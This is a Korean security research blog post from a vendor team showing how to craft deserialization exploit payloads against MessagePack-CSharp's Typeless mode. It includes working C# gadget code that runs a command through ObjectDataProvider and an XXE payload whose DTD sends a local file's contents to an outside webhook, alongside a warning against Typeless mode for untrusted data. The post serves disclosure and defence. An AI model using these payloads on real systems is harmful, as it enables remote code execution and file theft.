2026년 특권 액세스 관리 매직 쿼드런트™: Netwrix가 5년 연속 선정되었습니다. 보고서를 다운로드하세요.

리소스 센터블로그

MessagePack C#의 Typeless 모드용 역직렬화 페이로드 생성

MessagePack C#의 Typeless 모드용 역직렬화 페이로드 생성

Apr 10, 2023

MessagePack-CSharp의 Typeless 모드는 private fields를 포함한 전체 타입 정보를 임베딩하여 다형적(폴리모픽) 직렬화를 가능하게 하므로 강력하지만, 신뢰할 수 없는 데이터에는 안전하지 않습니다. 역직렬화는 리플렉션과 자동 프로퍼티 세터에 의존하기 때문에, 공격자는 알려진 가젯 체인을 악용해 코드 실행 또는 XXE 공격을 유발하는 페이로드를 만들 수 있습니다. MessagePack의 강화된 보안 옵션을 사용하더라도 Typeless 모드는 근본적으로 안전하지 않으며, 신뢰할 수 없는 입력에는 절대 사용하면 안 됩니다.

MessagePack-CSharp는 복잡한 객체를 직렬화하고 역직렬화하는 과정을 간단하게 해주는 고성능 시리얼라이제이션 라이브러리입니다. 많은 .NET 개발자가 MessagePack을 선호하는 이유는 XML이나 JSON 같은 다른 시리얼라이즈 형식보다 더 빠르고 출력 크기가 더 작기 때문입니다.

MessagePack-CSharp는 Typeless 모드를 제공하며, 이를 통해 사전에 해당 객체의 타입을 알지 못해도 객체를 동적으로 폴리모픽(다형성) 방식으로 직렬화 및 역직렬화할 수 있습니다. 이 기능은 객체의 타입이 런타임에만 알려지는 상황에서 특히 유용하며, 개발자는 클래스에 속성(attribute)을 추가로 적용할 필요 없이 객체를 직렬화/역직렬화할 수 있습니다. Typeless 모드는 공개/비공개 프로퍼티와 필드를 포함하여 거의 모든 타입을 직렬화할 수 있습니다.

BinaryFormatter가 사용 중단(비권장)됨에 따라, 개발자는 유사한 기능을 제공하는 MessagePack의 Typeless 모드와 같은 대안을 찾을 수 있습니다.

MessagePack 문서는 신뢰할 수 없는 데이터와 함께 Typeless 모드를 사용하는 것을 권장하지 않습니다. 그렇게 하면 보안 문제가 발생할 수 있기 때문입니다. 이 문서는 MessagePack의 Typeless 모드에 대해 역직렬화 익스플로잇 페이로드를 만드는 방법을 보여줌으로써 이러한 문제를 설명합니다.

Typeless 모드로 객체 직렬화하기

      namespace SomeLibrary
{
    public class SomeClass
    {
        private string _privateField;
        public string PublicProperty { get; set; }
        public string PrivateProperty { get; private set; }
        public void SetPrivateProperty(string pPrivateProperty) 
            => PrivateProperty = pPrivateProperty;
        public void SetPrivateField(string pPrivateField) 
            => _privateField = pPrivateField;
    }
}

namespace MessagePackTypelessDemo
{
    class Program
    {
        static void Main()
        {
            var obj = new SomeLibrary.SomeClass { PublicProperty = "ABCDEFG" };
            obj.SetPrivateProperty("HIJKLMNOP");
            obj.SetPrivateField("QRSTUVWXYZ");

            System.IO.File.WriteAllBytes(
                "serialized.bin", 
                MessagePack.MessagePackSerializer.Typeless.Serialize(obj));
        }
    }
}
      

중요한 점은 직렬화된 데이터에 비공개 프로퍼티와 필드 값뿐만 아니라 SomeClass 의 AssemblyQualifiedName(AQN)가 포함된다는 것입니다. 역직렬화 과정에서 MessagePack은 이 타입 정보를 참조하여, 정확히 해당 객체 타입이 생성되고 올바르게 채워지도록 보장합니다.

Image

그림 1. MessagePack Typeless 직렬화 데이터의 16진수 보기

역직렬화 과정에서 MessagePack은 리플렉션을 사용하여 매개변수가 없는 기본 생성자를 호출합니다. 기본 생성자가 없으면 역직렬화에 실패합니다. 또한 리플렉션을 사용해 속성 setter를 호출하고 필드에 값을 할당합니다.

신뢰할 수 없는 데이터를 역직렬화할 때의 보안 영향

MessagePack 문서는 신뢰할 수 없는 데이터를 역직렬화할 때 발생할 수 있는 보안 영향을 다룹니다. 해당 섹션에서는 특히 신뢰할 수 없는 데이터에 Typeless 모드를 사용하지 말 것을 권고하는데, 예상하지 못한 유형이 역직렬화될 수 있으며 이는 보안 취약점으로 이어질 수 있기 때문입니다.

MessagePackSerializerOptions 클래스는 개발자가 Lz4 압축 사용, 어셈블리 버전 처리와 같은 직렬화 및 역직렬화 중 특정 동작을 구성할 수 있도록 합니다. 또한 이 클래스는 MessagePack이 역직렬화하지 않을 알려진 위험한 유형 목록을 정의합니다. 직렬화된 데이터에 이러한 유형 중 하나라도 포함되어 있으면 예외가 발생하고 역직렬화가 중단됩니다. 현재 이 목록에는 두 가지 유형이 포함되어 있습니다:

  • System.CodeDom.Compiler.TempFileCollection
  • System.Management.IWbemClassObjectFreeThreaded

MessagePackSerializerOptions 는 신뢰할 수 없는 데이터를 처리하기 위한 더 안전한 모드를 사용하도록 구성할 수도 있으며, 이 모드는 최대 개체 그래프 깊이와 충돌 내성 해싱 알고리즘을 도입합니다. 문서에서는 이 모드가 일반적인 공격에 대해 단지 강화할 뿐이며 완전히 안전하지는 않다고 명시합니다.

      MessagePackSerializerOptions options = 
    TypelessContractlessStandardResolver.Options
        .WithAllowAssemblyVersionMismatch(true)
        .WithSecurity(MessagePackSecurity.UntrustedData);

return MessagePackSerializer.Typeless.Deserialize<object>(serializedBytes, options);
      

제한이 적용되더라도, 신뢰할 수 없는 데이터를 역직렬화할 때 속성 세터 호출을 활용해 코드 실행과 같은 권한 있는 작업을 시작하는 직렬화된 가젯 페이로드를 만드는 것은 여전히 가능합니다. 단, 해당 가젯이 허용되지 않는 유형 목록에 포함되어 있지 않아야 합니다.

인스턴스화된 가젯 유형을 직접 직렬화하는 것은 문제가 될 수 있는데, 해당 유형의 모든 속성과 필드가 무시할 기회 없이 그대로 직렬화되기 때문입니다. 객체를 역직렬화하면 인스턴스화 과정에서 문제가 발생할 수 있는 잘못 구성된 객체가 생성될 수 있으며, 그 결과 익스플로잇이 실패할 가능성이 있습니다. 또한 세터 기반 가젯을 사용하는 경우, 연구자는 객체 생성 시점에 페이로드를 직접 실행해야 할 수도 있습니다.

이러한 문제를 방지하려면 최소한의 대체(서로게이트) 객체를 생성하고 이를 실제 gadget 유형으로 직렬화하는 것이 더 나은 방법입니다. 이렇게 하면 역직렬화(Deserialize) 중에 필요한 속성과 필드만 설정되어 의도치 않은 동작의 위험이 줄어듭니다.

코드 실행을 위한 ObjectDataProvider 페이로드 생성

ObjectDataProvider gadget은 널리 알려진 코드 실행용 gadget으로, 수많은 gadget 체인에 등장합니다. 이 글에서는 Alvaro Muñoz와 Oleksandr Mirosh의 “ObjectDataProvider” 기능이 어떻게 동작하는지에 대한 구체적인 설명은 다루지 않습니다. 그 이유는 “Friday the 13th JSON Attacks” 논문이 작동 원리를 포괄적으로 설명하고 있기 때문입니다.

요약하면, ObjectDataProvider 는 MethodName 및 ObjectInstance 속성을 구성하여, 사용자가 지정한 인수와 함께 Process.Start 를 호출하는 데 사용할 수 있습니다. 두 속성 중 어느 하나를 설정하면, 제공된 객체 인스턴스에 대해 제공된 메서드 이름이 호출됩니다. 구체적으로는 MethodName 속성을 “Start”로 설정하고 ObjectInstance 속성을 System.Diagnostics.Process 의 인스턴스로 설정해야 합니다. 그러고 나서 파일명과 인수는 System.Diagnostics.ProcessStartInfo 객체에 포함된 속성을 통해 설정할 수 있으며, 이 객체는 Process 객체의 StartInfo 속성으로 사용할 수 있습니다.

1단계. 대체(서로게이트) 유형을 지정합니다

대리(surrogate) 유형에는 코드 실행을 유발하는 데 필요한 최소 속성만 포함하면 됩니다. ObjectDataProvider 가젯의 경우, 개체 그래프는 다음 사양을 따라야 합니다:

      public class ObjectDataProviderSurrogate
{
    public string MethodName { get; set; }
    public object ObjectInstance { get; set; }
}

public class ProcessStartInfoSurrogate
{
    public string FileName { get; set; }
    public string Arguments { get; set; }
}

public class ProcessSurrogate
{
    public ProcessStartInfoSurrogate StartInfo { get; set; }
}

      

2단계. ObjectDataProviderSurrogate 개체를 구성합니다

“calc.exe”를 실행하는 페이로드를 생성하려면, 먼저 ObjectDataProviderSurrogate 개체를 구성하고, 실제 ObjectDataProvider 개체에 대해 필요한 속성을 설정한 뒤, 필요에 따라 추가 대리(surrogate)들을 사용합니다.

      return new ObjectDataProviderSurrogate
{
    MethodName = "Start",
    ObjectInstance = new ProcessSurrogate
    {
        StartInfo = new ProcessStartInfoSurrogate
        {
            FileName = "cmd.exe",
            Arguments = "/c calc"
        }
    }
};

      

3단계. 유형 캐시를 수정합니다

MessagePack의 Typeless 모드에는 한 유형을 다른 유형으로 직렬화하는 기능이 포함되어 있지 않습니다. 개발자들은 이전에 TypelessFormatter의 BindToType 델리게이트를 재정의해 이를 달성할 수 있었지만, 이 기능은 대규모 리팩터링 과정에서 제거되었습니다. 하지만 우리는 이 목표를 달성하기 위해 여전히 MessagePack의 내부 동작 일부를 활용할 수 있습니다.

The TypelessFormatter 는 이전에 처리된 타입에 대한 타입 정보를 저장하기 위해 내부 캐시를 사용합니다. 타입이 캐시에 존재하면 포매터는 AssemblyQualifiedName 속성을 통해 해당 타입의 AQN을 가져오는 과정을 건너뛰고, 대신 캐시에 저장된 AQN 문자열을 바이트 배열 형태로 반환합니다. 이후 이 값은 직렬화된 데이터에 포함되어 직렬화된 타입을 식별하는 데 사용됩니다.

      public void Serialize(
    ref MessagePackWriter writer,
    object? value,
    MessagePackSerializerOptions options)
{
    // [Truncated]

    Type type = value.GetType();

    var typeNameCache = options.OmitAssemblyVersion
                ? ShortenedTypeNameCache
                : FullTypeNameCache;

    if (!typeNameCache.TryGetValue(type, out byte[]? typeName))
    {
        TypeInfo ti = type.GetTypeInfo();
        if (ti.IsAnonymous() || UseBuiltinTypes.Contains(type))
        {
            typeName = null;
        }
        else
        {
            typeName = StringEncoding.UTF8.GetBytes(
                this.BuildTypeName(type, options));
        }

        typeNameCache.TryAdd(type, typeName);
    }

    // Use typeName...
}
      

타입과 그에 대응하는 AQN 문자열을 캐시에 추가함으로써, 직렬화기가 이러한 객체를 처리하는 과정에서 지정된 AQN 문자열을 기록하도록 보장합니다. 캐시가 비공개이므로, 리플렉션을 사용하여 이 필드의 TryAdd 메서드에 접근할 수 있습니다.

      public static void SwapTypeCacheNames(IDictionary<Type, string> pNewTypeCacheEntries)
{
    FieldInfo typeNameCacheField = 
        typeof(TypelessFormatter)
            .GetField("FullTypeNameCache", BindingFlags.NonPublic | BindingFlags.Static);
    
    MethodInfo addTypeCacheMethod = 
        typeNameCacheField.FieldType
            .GetMethod("TryAdd", new[] { typeof(Type), typeof(byte[]) });

    object typeNameCache = typeNameCacheField.GetValue(TypelessFormatter.Instance);
    foreach (var typeSwap in pNewTypeCacheEntries)
    {
        addTypeCacheMethod.Invoke(
            typeNameCache,
            new object[]
            {
                typeSwap.Key,
                System.Text.Encoding.UTF8.GetBytes(typeSwap.Value)
            });
    }
}
      

이제 TypelessFormatter 의 내부 타입 캐시에, 실제 객체의 해당 타입 이름과 함께 우리의 타입을 추가할 수 있습니다. TypelessFormatter 는 정적(static)이므로, 이후에 이루어지는 모든 serialize 호출은 이 수정된 타입 캐시를 사용합니다.

      SwapTypeCacheNames(
    new Dictionary<Type, string>
    {
        {
            typeof(ObjectDataProviderSurrogate),
            "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
        },
        {
            typeof(ProcessSurrogate),
            "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        },
        {
            typeof(ProcessStartInfoSurrogate),
            "System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        }
    });

      

4단계. 페이로드를 직렬화하고 역직렬화합니다

직렬화된 데이터에 ObjectDataProvider 가젯 체인에 필요한 AQN이 포함되어 있으며, 성공적인 코드 실행을 가능하게 하는 필수 속성과 값만 포함되어 있음을 확인할 수 있습니다. 역직렬화가 수행되면 페이로드가 Process.Start 를 트리거하여 calc.exe를 실행합니다.

Image

그림 2. 직렬화된 ObjectDataProvider 개체의 페이로드를 16진수로 표시한 화면

Image

그림 3. 역직렬화 중 성공적으로 악용되어 calc.exe가 실행됨

이 페이로드 생성 기능은 연구자들이 표준 데이터와 Lz4 압축 데이터 모두에 대해 MessagePack Typeless 페이로드를 생성할 수 있도록 Ysoserial.NET 프로젝트에도 통합되었습니다.

Image

그림 4. Ysoserial.NET으로 MessagePack Typeless 페이로드 생성

제한 사항

MessagePack-CSharp의 v2.3.75(2021년 7월) 이전 버전에서는 직렬화된 ObjectDataProvider 페이로드를 역직렬화해도 코드 실행을 달성할 수 없습니다. 이러한 버전에서는 직렬화된 데이터에 해당 값이 존재하지 않더라도 객체에 대해 프로퍼티(속성) 세터가 호출됩니다.

ObjectDataProvider 는 System.Windows.Data.DataSourceProvider 클래스를 확장합니다. 이 클래스에는 보호된 프로퍼티(속성)인 Dispatcher가 포함되어 있는데, MessagePack의 이전 버전에서는 Dispatcher가 null로 설정됩니다.

      protected Dispatcher Dispatcher
{
    get { return _dispatcher; }
    set
    {
        if (_dispatcher != value)
        {
            _dispatcher = value;
        }
    }
}
      

앞서 언급한 것처럼, 지정된 ObjectInstance 또는 MethodName 프로퍼티를 설정하면 내부 Refresh 메서드가 호출되며, 두 프로퍼티 모두 설정되어 있는 경우 객체 인스턴스에 대해 지정된 메서드 이름이 호출됩니다. 즉, 호출이 성공하려면 Refresh 메서드를 두 번 호출해야 합니다. 즉, 각 프로퍼티를 설정할 때마다 한 번씩 호출해야 합니다.

각 Refresh 호출이 끝나면 DataSourceProvider 의 OnQueryFinished 메서드가 호출되어 쿼리가 완료되었음을 나타냅니다. 이 메서드는 Dispatcher 프로퍼티가 null이 아님을 확인(단언)합니다.

      protected virtual void OnQueryFinished(object newData, Exception error
    DispatcherOperationCallback completionWork, object callbackArguments)
{
    Invariant.Assert(Dispatcher != null);
    if (Dispatcher.CheckAccess())
    {
        UpdateWithNewResult(error, newData, completionWork, callbackArguments);
    }
    else
    {
        Dispatcher.BeginInvoke(
            DispatcherPriority.Normal, UpdateWithNewResultCallback,
            new object[] 
            { 
                this, error, newData, completionWork, callbackArguments
            });
    }
}
      

이 시점에서 Dispatcher가 null이므로 Invariant.Assert 는 실패하며, 그 결과 Invariant.FailFast 가 호출됩니다. 이 호출은 결국 프로세스를 종료합니다. 이는 Refresh 의 첫 호출에서 발생하므로, 코드 실행은 불가능합니다.

XXE 파일 유출을 위한 XmlDocument 페이로드 생성

XmlDocument 클래스에는 InnerXml 문자열 속성이 있으며, 이 속성은 설정된 값으로 XmlDocument의 Load 메서드를 호출합니다. v4.5.2 미만의 .NET 버전에서는 이로 인해 XXE(XML External Entity) 공격에 대한 잠재적 취약점이 발생할 수 있으며, 공격자는 시스템의 파일을 원격 위치로 유출할 수 있습니다.

v4.5.2 이상인 .NET Framework 버전에서는 XmlDocument 의 XmlResolver 속성이 기본적으로 null로 설정되어 XML 엔터티의 처리를 방지합니다. 그러나 MessagePack은 기본 생성자를 사용해 타입을 역직렬화하므로, XmlResolver 속성에 XmlUrlResolver 를 제공함으로써 이 보호를 우회할 수 있습니다. 그 결과 .NET Core부터 .NET 7까지의 이후 버전에서 XXE 시나리오가 발생할 수 있는 경로가 만들어집니다.

1단계. XmlDocument의 대리(서로게이트) 타입 지정

XXE 공격을 수행하는 데 필요한 최소 속성만 지정합니다. XmlResolver 속성은 System.Object 타입이며, XmlUrlResolverSurrogate 는 아니라는 점에 유의하세요. 이로 인해 MessagePack이 XmlResolver 속성의 타입에 대한 AQN을 포함하게 되어, 타입 스와핑 메커니즘을 활용할 수 있습니다.

      public class XmlDocumentSurrogate
{
    public object XmlResolver { get; set; }
    public string InnerXml { get; set; }
}

public class XmlUrlResolverSurrogate
{
}

      

2단계. XmlDocument 서러게이트(surrogate) 객체를 구성합니다

역직렬화(deserialization) 과정에서 파일을 유출하려면, 먼저 DTD 파일을 준비하고 호스팅해야 합니다. 이 DTD 파일은 InnerXml 속성에 제공되어 로드되는 XML에서 참조됩니다. 원시 파일(raw file) 접근을 허용하므로, DTD 파일을 호스팅하기 위해 무료 텍스트 붙여넣기 서비스 Pastebin 을 사용할 수 있습니다.

DTD는 파일 “C:\test.txt”의 내용을 읽습니다(이 개념 증명(proof-of-concept) 예제에는 “A1B2C3”)를 포함하며, 그 내용을 공격자가 제어하는 웹 서비스로 GET 매개변수로 전달합니다. 이 예에서는 요청을 포착하기 위해 무료 Webhook.Site 서비스를 사용하겠습니다.

      <!ENTITY % a SYSTEM "file:///C:\\test.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'https://webhook.site/865d77fe-b03e-4833-a68b-4f94a0c0dde8?%a;'>">
%b;

      

역직렬화(desorerialization) 중에 로드될 XML은 이 DTD 파일을 참조하고, GET 요청으로 이어지는 엔터티 확장(entity expansion)을 호출합니다.

      <?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "https://pastebin.com/raw/CUc6fZ8N">
<foo>&c;</foo>
      

그다음 전체 서러게이트 객체 구성을 완료하려면, XmlDocumentSurrogate의 InnerXml 속성에 위의 XML을 채우고, XmlResolver 속성을 XmlUrlResolverSurrogate 유형으로 설정하면 됩니다.

      return new XmlDocumentSurrogate
{
    XmlResolver = new XmlUrlResolverSurrogate(),
    InnerXml = "<?xml version=\"1.0\"?>" +
    "<!DOCTYPE foo SYSTEM \"https://pastebin.com/raw/CUc6fZ8N\">" +
    "<foo>&c;</foo>"
};

      

3단계. 유형 정의를 바꿉니다

ObjectDataProvider 가젯을 생성할 때와 동일한 접근 방식을 사용하면, SwapTypeCacheNames 함수를 사용하여 대리(surrogate) 유형 정보를 실제 XmlDocument 가젯의 유형 정보로 바꿀 수 있습니다.

      SwapTypeCacheNames(
    new Dictionary<Type, string>
    {
        {
            typeof(XmlDocumentSurrogate),
            "System.Xml.XmlDocument, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        },
        {
            typeof(XmlUrlResolverSurrogate),
            "System.Xml.XmlUrlResolver, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
        }
    });
      

4단계. 페이로드를 직렬화하고 역직렬화합니다

XmlDocument 가젯 체인이 포함하는 직렬화된 데이터에는 XmlUrlResolver 에 필요한 AQN을 포함하여 올바른 AQNs가 들어 있습니다. 역직렬화가 수행되면, 페이로드가 공격자가 호스팅한 DTD에 대한 요청을 트리거합니다. 그러고 나서 DTD를 사용해 “C:\Test.txt”의 내용을 추출하고, 그 내용을 GET 파라미터로 웹훅에 전달합니다.

Image

그림 5. 직렬화된 XmlDocument 가젯 페이로드의 16진수 보기

Image

그림 6. XmlDocument 가젯 페이로드의 직렬화 및 역직렬화

Image

그림 7. 역직렬화 중 성공적으로 이루어진 XXE 파일 유출

제한 사항

MessagePack-CSharp의 v2.3.75(2021년 7월) 이전 버전은 앞서 언급한 버그로 인해 XmlDocument 가젯 페이로드의 역직렬화 중 XXE 공격의 실행을 방지합니다. 이 버그는 직렬화된 데이터에 해당 속성이 존재하지 않더라도 객체의 속성 setter를 호출합니다.

이 버그는 XmlDocument 가 System.Xml.XmlNode 로부터 상속받은 Value 속성 setter가 호출되도록 만듭니다. 이 setter는 제공된 값과 무관하게 예외를 발생시켜, 파일 유출이 발생하기 전에 역직렬화 프로세스가 종료됩니다.

      public virtual string Value
{
    get { return null; }
    set 
    { 
        throw new InvalidOperationException(
            string.Format(
                CultureInfo.InvariantCulture, 
                Res.GetString(Res.Xdom_Node_SetVal), NodeType.ToString())); 
    }
}
      

요약

이 문서는 MessagePack의 Typeless 모드에서 직렬화 해제(deserialization) 익스플로잇 페이로드를 생성하는 간단한 방법에 대한 개요를 제공합니다. 직렬 변환기가 비공개 프로퍼티뿐만 아니라 비공개 필드까지 처리할 수 있을 정도로 유연하다는 점을 고려하면, 더 제한적인(보수적인) 다른 구현에 비해 이 직렬 변환기에 대해 더 많은 가젯(gadget)이 존재할 가능성이 높습니다.

신뢰할 수 없는 데이터를 역직렬화(deserialization)하는 것은 특히 내장된 개체(object) 유형을 정의하는 데이터를 역직렬화할 때 상당한 보안 위험을 초래합니다. 개발자는 신뢰할 수 없는 데이터를 역직렬화하기 위해 MessagePack의 Typeless 기능을 사용하지 않아야 합니다. 보안 기능을 모두 활성화하더라도 안전하지 않으며 안전하게 만들 수 없습니다.

감사의 말

Piotr Bazydlo(@chudyPB)에게 유용한 통찰을 제공해 주신 데 대해 특별히 감사드립니다. 이는 MessagePack의 이전 버전에서 ObjectDataProvider 가젯 체인(deserialization gadget chains)을 역직렬화할 때의 한계를 짚어, 성공적인 익스플로잇을 막는 내용입니다.

자주 묻는 질문(FAQ)

공유하기

더 알아보기

저자 소개

Asset Not Found

Dane Evans

수석 애플리케이션 보안 엔지니어

Netwrix Security Research 팀의 애플리케이션 보안 엔지니어인 Dane은 애플리케이션 보안과 소프트웨어 엔지니어링 분야에서 10년이 넘는 경력을 보유하고 있습니다. 주요 관심 분야는 애플리케이션 보안, 소프트웨어 개발 수명 주기( SDLC ), 취약점 연구 및 익스플로잇 개발입니다.